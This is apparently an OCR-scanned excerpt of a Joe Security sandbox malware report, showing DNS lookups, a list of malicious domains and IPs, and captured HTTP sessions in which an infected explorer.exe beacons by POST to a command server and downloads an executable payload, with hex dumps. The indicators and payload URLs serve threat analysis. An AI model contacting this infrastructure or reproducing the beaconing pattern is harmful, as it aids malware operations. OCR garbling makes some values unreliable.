Oxa6fb

Oxa6fb

0x3féc

Oxe2eb

0xd48b

0x3f2c

0x1524

0x3a03

0x351d

0xf83b

0xb3c9

0xb3c9

0x9519

0x1536

0x694c

0xfOcb

Oxadf4

0x55¢3

0xf9e9

0x8849

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName
host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

bit.ly

bit.ly

bitly.com

bitly.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

goo.su

goo.su

host-data-coin-
11.com

host-data-coin-
11.com

transfer.sh

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

f0616387.xsph.ru

Address
139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

67.199.248.10

67.199.248.11

67.199.248.15

67.199.248.14

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

104.21.38.221

172.67.139.105

139.28.222.172

139.28.222.172

144.76.136.153

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

141.8.193.236

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Page 32 of 83



Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 6, 2022 8.8.8.8 192.168.2.3 0x87ba No error (0) host-data-coin- 139.28.222.172 A (IP address) IN (0x0001)
08:10:06.450314999 11.com

CET

Jan 6, 2022 8.8.8.8 192.168.2.3 0xd8f3 No error (0) host-data-coin- 139.28.222.172 A (IP address) IN (0x0001)
08:10:06.689624071 11.com

CET

Jan 6, 2022 8.8.8.8 192.168.2.3 0x4426 No error (0) host-data-coin- 139.28.222.172 A (IP address) IN (0x0001)
08:10:06.970993042 11.com

CET

Jan 6, 2022 8.8.8.8 192.168.2.3 Oxef34 No error (0) data-host-coin- 139.28.222.172 A (IP address) IN (0x0001)
08:10:07.420985937 8.com

CET

Jan 6, 2022 8.8.8.8 192.168.2.3 0xe807 No error (0) host-data-coin- 139.28.222.172 A (IP address) IN (0x0001)
08:10:10.291680098 11.com

CET

Jan 6, 2022 8.8.8.8 192.168.2.3 0Ox5a71 No error (0) host-data-coin- 139.28.222.172 A (IP address) IN (0x0001)
08:10:10.689599991 11.com

CET

Jan 6, 2022 8.8.8.8 192.168.2.3 Oxc4cf No error (0) host-data-coin- 139.28.222.172 A (IP address) IN (0x0001)
08:10:10.892538071 11l.com

CET

HTTP Request Dependency Graph

e 185.233.81.115

e cdn.discordapp.com

o bitly

e bitly.com

e goo.su

o transfer.sh

* vvcfghtqay.com
e host-data-coin-11.com

e sshgc.com

e privacytools-foryou-777.com

e aamxt.net

e hbxwfh.org

e nhdfaew.com

e uyybr.com

e tvephgl.org

e vdgsgavo.com

e mtorecxxgh.net

e tthpllesho.org

e data-host-coin-8.com

e jmigiem.com

e hwjxhmokn.net

Copyright Joe Security LLC 2022 Page 33 of 83



e kccrowjwfg.net

e qgokbfpqu.com

e yavevdmg.org

e unicupload.top

e ysykmivov.net

e (qtrno.net

e alewchcr.net

e dnimmbdk.net

e tixiicao.org

e vienyfn.org

e klwemmabtp.com

e nipku.net

e 185.7.214.171:8080

o file-file-host4.com

e ckfvguv.net

o dldbnkm.com

e vrpsxrye.org

e ssdywbty.net

e upyfwla.com

e lvgobjn.org

e miwrk.net

e fsmmd.org

e bpjdfscuk.com

e glmxabvp.net

e wofvisy.com

e 91.243.44.130

® ppeextw.com

e whbyyx.org

e easifa.net

e udsyikv.org
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e kmwnx.org

e xvhamihxut.net

e mmiom.org

e qwpkuphah.com

e gbodwwvauw.org

* awjegmrw.org

e xgrpufkyfv.com

e dsrobv.com

e qdnextl.com

e tjugncvvv.org

e ubynnlebm.net

e oeiaa.net

e ujwcetygu.com

e psaaf.org

e f0616387.xsph.ru

e pcffisvf.org

e xnpfyukb.net

e vvyeudfpok.com

e brxua.org

e xmcaixd.com

e gomgnitcv.net

HTTP Packets

Session ID
0

Timestamp

Session ID

1

Timestamp

Source IP
192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Copyright Joe Security LLC 2022

Source Port
49731

Direction

Source Port

49762

Direction

Destination IP
185.233.81.115

Data

Destination IP

162.159.133.233

Data

Destination Port Process

443 C:\Windows\explorer.exe

Destination Port Process

443 C:\Windows\explorer.exe
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Session ID Source IP

10 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 441

08:08:53.577157974 CET

Jan 6, 2022 442
08:08:53.658348083 CET

Session ID Source IP
11 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 443

08:08:54.067504883 CET

Jan 6, 2022 444
08:08:54.169085979 CET

Session ID Source IP

12 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Source Port

49717

Direction

ouT

Source Port

49718

Direction

ouT

Source Port

49719

Direction

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hbxwfh.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 278

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:53 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://nhdfaew.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 361

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data
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Timestamp

Jan 6, 2022
08:08:54.251296997 CET

Jan 6, 2022
08:08:54.350064993 CET

Session ID

13

Timestamp

Jan 6, 2022
08:08:54.446500063 CET

Jan 6, 2022
08:08:54.527777910 CET

Session ID
14

Timestamp

Jan 6, 2022
08:08:54.612946987 CET

Jan 6, 2022
08:08:54.694658041 CET

Session ID

15

kBytes
transferred

445

446

Source IP

192.168.2.3
kBytes

transferred

447

447

Source IP
192.168.2.3

kBytes

transferred
448

449

Source IP

192.168.2.3

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49720

Direction

ouT

Source Port
49721

Direction
ouT

Source Port

49723

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://uyybr.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 304

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://tvephql.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 187

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP  Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vdgsgavo.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 291

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 64 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a
88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d Oa 30 0d Oa Od Oa

Data Ascii: 2d1:8201:J_J-WS,/0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Jan 6, 2022 450

08:08:56.133610964 CET

Jan 6, 2022 451

08:08:56.214211941 CET

Session ID Source IP

16 192.168.2.3
kBytes

Timestamp transferred

Jan 6, 2022 452

08:08:56.302706003 CET

Jan 6, 2022 452

08:08:56.388818979 CET

Session ID Source IP

17 192.168.2.3
kBytes

Timestamp transferred

Jan 6, 2022 453

08:08:56.780142069 CET

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49724

Direction

ouT

Source Port
49725

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://mtorecxxgh.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 111

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:56 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ttbpllesho.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 143

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:56 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 le ad 12
93 3a f9 55 50 99 4a 7 e0 25 e5 39 1la 4c ed al 88 70 bc 57 dd 43 d4 fa 20 87 20 e7 ¢3 9a 57 2a el a8 1d 63 a9 0d Oa 30
0d Oa 0d Oa

Data Ascii: 461:820R&:UPJ%9LpWC W*cO

Destination IP  Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

GET /files/2184_1641247228_8717.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com
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kBytes
Timestamp transferred

Jan 6, 2022 455
08:08:56.842988014 CET

Session ID Source IP
18 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 899

08:08:59.108822107 CET

Jan 6, 2022 900
08:08:59.187812090 CET

Session ID Source IP

19 192.168.2.3

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49727

Direction
ouT

Source Port

49728

Data

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:56 GMT

Content-Type: application/x-msdos-program

Content-Length: 358912

Connection: close

Last-Modified: Mon, 03 Jan 2022 22:00:28 GMT

ETag: "57a00-5d4b4a60838eb"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €0 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 6b 91 al 53 2f fO cf 00 2f fO cf 00 2f fO cf 00 31 a2 5a 00 3d fO cf 00 31 a2 4c 00
57 fO cf 00 08 36 b4 00 2a f0 cf 00 2f fO ce 00 ee fO cf 00 31 a2 4b 00 10 fO cf 00 31 a2 5b 00 2e f0 cf 00 31 a2 5e 00 2e fO
cf 00 52 69 63 68 2f f0 cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 74 f1 €5 60 00 00
00 00 00 00 00 00 e0 00 02 01 Ob 01 09 00 00 3¢ 04 00 00 4a 02 00 00 00 00 00 cO 34 02 00 00 10 00 00 00 50 04 00 00
00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 dO 06 00 00 04 00 00 41 c1 05 00
02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2¢ 39 04
00 3c 00 00 00 00 30 06 00 f8 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 06 00 14 23 00 00 50 13
00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a6 00 00 40 00 00 00 00
00 00 00 00 00 00 00 00 10 00 00 €0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2e 74 65 78 74 00 00 00 34 3a 04 00 00 10 00 00 00 3¢ 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00
60 2e 64 61 74 61 00 00 00 60 9a 01 00 00 50 04 00 00 8¢ 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 c0 2e 70 61 6d 69 63 61 6b 05 00 00 00 00 fO 05 00 00 02 00 00 00 cc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 00 cO 2e 64 6f 73 00 00 00 00 4b 00 00 00 00 00 06 00 00 02 00 00 00 ce 04 00 00 00 00 00 00 00 00 00 00 00 00 00
40 00 00 c0 2e 6d 6f 64 61 76 00 00 ea 00 00 00 00 10 06 00 00 02 00 00 00 dO 04 00 00 00 00 00 00 00 00 00 00 00 00
00 40 00 00 c0 2e 6e 75 67 69 72 6f 66 93 0d 00 00 00 20 06 00 00 Oe 00 00 00 d2 04 00 00 00 00 00 00 00 00 00 00 00
00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 f8 59 00 00 00 30 06 00 00 5a 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00
00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 a2 3e 00 00 00 90 06 00 00 40 00 00 00 3a 05 00 00 00 00 00 00 00 00 00
00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 f8 44 04 00 00 00 00 00 6¢ 3c 04 00 82 3c 04 00 92 3c 04 00 a2 3c 04 00 be 3c 04 00 d2 3c 04 00 e6 3¢
04 00 f6 3c 04 00 10 3d 04 00 2a 3d 04 00 42 3d 04 00 56

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$kS///1Z=1LW6*/1K1[.1".Rich/PELt <J4P@A,9<0
Y#PX@.text4:< ".data’ P@@.pamicak@.dosK@.modav@.nugirof @.rsrcYOZ@@.reloc>@:@BDI<<<<<<<<=*=B=V

Destination IP Destination Port Process
139.28.222.172 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jmigiem.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 165

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
